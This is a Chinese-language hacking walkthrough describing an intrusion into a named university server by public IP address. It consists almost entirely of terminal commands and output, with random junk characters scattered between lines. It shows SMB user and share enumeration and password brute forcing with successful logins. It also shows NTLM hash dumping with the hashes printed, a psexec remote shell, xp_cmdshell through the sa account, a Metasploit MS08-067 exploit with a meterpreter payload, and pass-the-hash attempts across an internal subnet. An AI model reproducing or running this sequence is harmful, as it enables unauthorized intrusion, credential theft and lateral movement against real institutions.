nmap+msf入侵广西师范

admin

广西师范网站http://202.103.242.241/

root@bt:~# nmap -sS -sV 202.103.242.241

2 |* U' E. g; A+ }0 ]" ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
3 o- {1 }- d" M4 p* `
Nmap scan report for bogon (202.103.242.241)

! d3 K& Q# k$ SHost is up (0.00048s latency).
8 K/ D+ |/ v8 i4 Y  q7 S7 E# L8 Z
Not shown: 993 closed ports
5 G5 {+ S$ W/ O2 ?/ J7 O
PORT     STATE SERVICE       VERSION

; M0 V( ]& F  `9 T  ~" V6 m135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

$ h9 f; u( }  f& B: _* V139/tcp  open  netbios-ssn
, u# c! J- X) @0 x- D' |! x
2 L; n  G2 ^( z$ ^445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
7 p# [' X# A& Q6 W$ R
7 f3 f9 B) [7 N0 t6 y, o& B4 d1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
2 K" h6 @+ v. l- E* c
* D7 Z' |: b/ K, k1026/tcp open  msrpc         Microsoft Windows RPC
4 ~3 u, x: K6 {; Y) f/ L
1 k0 A& |+ q( g* s8 Y3372/tcp open  msdtc?
4 o0 q2 ^2 g8 d9 [7 J
0 D3 B3 k; @6 t! n# i7 f3389/tcp open  ms-term-serv?
: Q2 _$ O* {) k* ]6 Y/ u
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

7 _* d8 z6 B- j2 e; l) O7 XSFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions

SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)

SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
6 c+ G, W. d; W( n
( @3 t8 P, v% lSF:ptions,6,”hO\n\x000Z”);

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- h, I& [3 X; h; z7 ~
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds

5 s( W/ c3 Z+ n$ L" Qroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
5 P7 l# z# j0 I3 a6 V
3 H6 M9 r/ F: ?/ S# ^) f-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
# U/ ^0 A  I0 L# i! ?! u' L
-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse
8 I; C0 v3 w8 }# u8 h' e
-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
% B. R; D3 B6 d7 ]8 F1 O" M/ \9 T2 `
3 f- Y5 e$ v' b7 H8 [-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse

-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
5 Q# D9 o1 H4 j/ w
3 Y; D/ B+ E2 ]' }: L; Y7 o5 h-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse

6 R; ]5 o: l7 `/ D( N. o8 V  s-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse

4 N  |$ t/ P1 q- X! Q-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse

-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
( |8 Q* }& {4 z8 X
+ b, w5 D0 Z. f2 u7 S-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
4 q2 g6 L1 a+ N
-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse
! Z* R$ }* c0 S# e
! h! o. R' Q- f% @; g' V-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse

7 S; N) [) J) K4 c( d6 I' O-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
' ~; c' i9 [: ?- t* d
7 k! B/ C* i. H( Y-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse
2 r, E5 b9 g/ _0 u( S
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   
- U, F" {( R5 O7 ~; z5 h' ~
//此乃使用脚本扫描远程机器所存在的账户名

7 o  n7 T1 R$ WStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
, m/ d3 ~& N6 I
Nmap scan report for bogon (202.103.242.241)

Host is up (0.00038s latency).
& J5 h& a1 x  H8 E9 V  j4 e
( X3 K. |0 ]+ X/ WNot shown: 993 closed ports
6 g' ~. w' x" w5 Y+ N2 T% Y$ S
PORT     STATE SERVICE
8 H& G3 e) J( T" H4 H9 N
9 ~, U; ^% Y  }: e4 S135/tcp  open  msrpc
4 e( c8 p9 \, M5 J
, e4 |$ T+ q( ^, ^5 R6 I8 E139/tcp  open  netbios-ssn

9 R$ d3 O) e# R0 i8 M445/tcp  open  microsoft-ds
) O6 }2 q; U9 L1 s6 y! `
, ~7 q5 V" k* u+ ~2 t" F( [# f1025/tcp open  NFS-or-IIS
. u$ c  u" I' L# v; b6 |8 h
$ f0 h: j) X, {1026/tcp open  LSA-or-nterm
; [7 A1 x0 T* ]1 n" c+ [
, L: h+ m" ~& E$ w2 t3372/tcp open  msdtc
  n' C% d, A# t1 e4 w, Z
3389/tcp open  ms-term-serv

0 T; F7 v, G& c- Z7 Q+ _MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
' @) S) A5 r/ k/ H4 \
, s: O' x' q  Z3 w8 L. _| smb-enum-users:

; S! M+ c/ [& {7 Q|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果

- b+ j+ H4 W! k$ @Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
3 e. `6 X. Y3 u& z
//查看共享

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST

Nmap scan report for bogon (202.103.242.241)

Host is up (0.00035s latency).
/ Q1 z/ q( ]' s# ?4 g; }) `" U( [
Not shown: 993 closed ports

& B3 R3 \. v) r7 @/ n# ]PORT     STATE SERVICE

$ E$ n4 Z: v7 p' ?135/tcp  open  msrpc

# l+ M# I* D6 m# X  X) [139/tcp  open  netbios-ssn
! t1 D0 h" |: a0 n" Q6 h& o
445/tcp  open  microsoft-ds
3 `: |! `( R2 [8 r6 h+ J- H+ \
1 M$ E2 u* b  ^, J+ x8 I1025/tcp open  NFS-or-IIS
- ^1 w* H0 `1 J/ l
' g2 T, E7 [" x6 B. p1026/tcp open  LSA-or-nterm

- p0 _: s1 G  h+ e3372/tcp open  msdtc

3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

| smb-enum-shares:
6 h* z" f+ {6 o6 B; A- |9 M/ A
, u) j& s( \0 o7 x|   ADMIN$

|     Anonymous access: <none>

|   C$
/ u: z" V  {' J% F' P3 r
|     Anonymous access: <none>
; r$ s1 N" L: u, M# O
; r. ~. l* V8 [3 X# D4 [+ t|   IPC$

|_    Anonymous access: READ

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

8 d! L* w$ a* O+ T  C3 P; Uroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      
; {+ v3 J% d# ~; a
//获取用户密码
6 @$ i9 _9 w# e) x, U6 q
3 o7 d; X8 V* E/ ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST

Nmap scan report for bogon (202.103.242.2418)

* M4 N5 Q3 F( W8 C  M, J+ X* YHost is up (0.00041s latency).
: H: Q5 o1 U3 J
" t" a) A/ v. s( CNot shown: 993 closed ports
: a4 i, t  P, g% B4 _6 z
PORT     STATE SERVICE
3 S* [; X, R- o# b2 D* j0 D
135/tcp  open  msrpc
% e" R  y  a& ^( M& _0 i, J7 n# b
139/tcp  open  netbios-ssn
7 v3 w. b, \" Q8 y
445/tcp  open  microsoft-ds
/ R. B7 g2 u5 R/ Z
1025/tcp open  NFS-or-IIS
1 e- Y0 J. \6 g8 s5 W9 E
1026/tcp open  LSA-or-nterm

) F$ M& ~6 j8 y+ j7 H' X3372/tcp open  msdtc
% C+ M' J) F! Z
3389/tcp open  ms-term-serv

% n) Y/ F4 a6 z# y6 G/ j5 vMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
! E$ q8 Z3 N+ A, E
1 x- O  \% ?! F: ?' i5 f3 H" fHost script results:

# `3 w* \7 n- d- P+ _| smb-brute:
0 _6 W( G8 N# P
administrator:<blank> => Login was successful

|_  test:123456 => Login was successful
; E& Q3 J- \$ `& n% e. h
! v2 [5 J7 _2 Y) iNmap done: 1 IP address (1 host up) scanned in 28.22 seconds

root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
) y; }7 P% p) _
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
9 s" S# J' m; f- y  v
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse

& O% V1 T  a9 l3 _+ V& Uroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
) X+ X0 D. r( n8 y8 U0 c
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
, L0 o: ^( x" v9 e! _0 x
Nmap scan report for bogon (202.103.242.241)

# m3 u" y; Z  H. ?& {% yHost is up (0.0012s latency).

PORT    STATE SERVICE
+ H6 q6 T4 c" e2 }
$ o% \8 l5 T. L1 F, x- J9 ^135/tcp open  msrpc

# `: c& Z& \! }9 b139/tcp open  netbios-ssn
% z/ m9 K# b) |( Y( d. }
8 ^* |" s/ U, q) q445/tcp open  microsoft-ds
1 X* x# \4 e7 T) P2 G( l
! c1 M, @' r' L7 \* yMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

1 Y! x6 k; d, oHost script results:
9 V/ U% X7 s. J
| smb-pwdump:
+ _* T1 g' h5 G$ Z2 G, ?/ u: L
. p; M% }) P" [8 Q5 |9 _| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

' l4 r+ Q" I2 }2 V0 ^( P| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************

& _/ r4 o% _, l6 C# e; O! a; ~| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
2 B- c5 Y" u$ \* G( v" [
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
% p8 ]- q6 p+ i2 i1 Q7 Q9 g" E
6 ~" x. K7 n7 s  L5 I5 PNmap done: 1 IP address (1 host up) scanned in 1.85 seconds

C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell
: j2 ]  F* J3 A: h2 K
1 F8 L; j! z  m-p 123456 -e cmd.exe

! N! p. L2 x8 a0 u% d. M4 NPsExec v1.55 – Execute processes remotely
9 W4 W/ u6 A; k4 j/ X" l
Copyright (C) 2001-2004 Mark Russinovich
. k4 t0 c" h# \8 n
& J# m* D  q$ o6 n7 lSysinternals – www.sysinternals.com

/ H: A4 C! E8 p: EMicrosoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-2000 Microsoft Corp.

& R& d& l/ `% S- [% i/ J- JC:\WINNT\system32>ipconfig
- V, I0 R% c+ f0 U# S" Z
$ `7 Z4 F& H% fWindows 2000 IP Configuration
, U" G* [5 ^  @3 J5 d
Ethernet adapter 本地连接:

Connection-specific DNS Suffix  . :
9 ^" j. P9 u* D3 p: x% ^# K0 |
IP Address. . . . . . . . . . . . : 202.103.242.241
7 H& g* Z9 D* n+ r  U0 l, I
Subnet Mask . . . . . . . . . . . : 255.255.255.0

: X) L4 s& B. }Default Gateway . . . . . . . . . : 202.103.1.1
& b- H! w: J# x; Q' `
, Q* N0 b" p. [1 d5 I1 _+ `C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

% @4 a( Q' `0 x+ ~- X* X" qroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
' I- k# |) X1 U4 X" _
' F% u5 _- e- G' c' f) N2 }Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
6 L0 s. T( @3 U
Nmap scan report for bogon (202.103.242.241)

Host is up (0.00046s latency).

Not shown: 993 closed ports
/ g8 U- `5 _$ I$ U/ K; \
PORT     STATE SERVICE
6 D% J9 Y9 m# U0 a' {3 m$ r* X
135/tcp  open  msrpc
: [; K6 F: ~- b
139/tcp  open  netbios-ssn
/ m6 c; E; r9 D: R* O
445/tcp  open  microsoft-ds
( K* K* C" e( F7 t/ g, H% X4 {
1025/tcp open  NFS-or-IIS
$ F7 ^2 N5 N2 ^5 M& U- [
5 e6 G3 n# U: ^' N. Q: S( y5 j1026/tcp open  LSA-or-nterm
8 Y) d9 l- n$ C, C: c& n! I! h" i
3372/tcp open  msdtc
$ A: P& ~1 b2 {5 K6 ]- R) J
7 D0 d2 j( I3 n7 Q8 y% n3389/tcp open  ms-term-serv
/ Z, K5 h8 u. X! @
5 @& K$ Q" z) C( cMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

% R$ U$ |5 H6 J2 x# }0 B) `, J% ^2 O| smb-check-vulns:
8 g) t: A: U1 n
|_  MS08-067: VULNERABLE
+ F- |  V1 Q& o; ?0 l
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
, X% H  {) [( {, z5 }
root@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出

msf > search ms08
" V% W" P" R3 l& T! ^; y0 B
5 ~6 L- c9 H) k- P# Xmsf > use exploit/windows/smb/ms08_067_netapi

8 s8 s* {  z$ ?, b4 }msf  exploit(ms08_067_netapi) > show options

3 C0 W1 B( N/ l8 J. [& X3 omsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241

msf  exploit(ms08_067_netapi) > show payloads

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
+ o8 v7 s2 U% D# u
msf  exploit(ms08_067_netapi) > exploit

+ P+ J/ n+ R3 Q3 `5 Q$ O4 C' Y* lmeterpreter >

Background session 2? [y/N]  (ctrl+z)
0 ]! K) O) W1 [) r& N, k
msf  exploit(ms08_067_netapi) > sessions -l
: x! Y" d$ B* v4 q5 _2 }
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt

1 g# t. m% x& e/ H! W$ l5 u) b; A& {test
' x1 @! j; F5 r' U9 w4 ?
administrator
5 O$ p9 U, r% C7 l
root@bt:/usr/local/share/nmap/scripts# vim password.txt
: `" ]9 Z4 s) l6 M& K) P* E
6 t! w& C0 ?& X8 C" j& ?0 Q9 ~44EFCE164AB921CAAAD3B435B51404EE

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
% t$ d" \5 X3 x/ j
//利用用户名跟获取的hash尝试对整段内网进行登录
6 O% A) u) }8 K* G: Y! Z* t
, \  g: e: i! r# ~, O  M; [Nmap scan report for 192.168.1.105
  L$ l* I- {4 J6 ~' O; n
Host is up (0.00088s latency).
. s5 Z5 m, {- ~! g# o
Not shown: 993 closed ports
" l4 H: p9 T) S& [  D# o4 W
PORT     STATE SERVICE
3 R7 A6 Z; \4 b: S4 @4 `& m0 Z
; _  e3 v; T1 g- B! P135/tcp  open  msrpc
0 |( w  P% e9 F1 z+ K
' s: O2 G+ i; y' }) c139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

1 a+ H! s+ C+ U' M: Y. i1025/tcp open  NFS-or-IIS

' R) I! f' V" A! x0 d" l0 [1026/tcp open  LSA-or-nterm

4 q" C( Z+ H  A9 `6 @! C& Z3372/tcp open  msdtc
6 n- t8 e' ~4 h' ~2 |  M
' y" |' a+ B/ r8 m+ M! `3389/tcp open  ms-term-serv
% i  r+ M# W0 C2 d4 Y/ l2 P
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

| smb-brute:
( g, t+ j! `; Q  c% B  U; f
3 n4 G1 n: R: [1 L/ c( J& J" l. [5 b|_  administrator:<blank> => Login was successful
5 v/ O- c& ?3 }7 ]8 B* w
  M. }2 V% g' G' n0 K攻击成功，一个简单的msf+nmap攻击~~·

" Q" |& x) ?8 j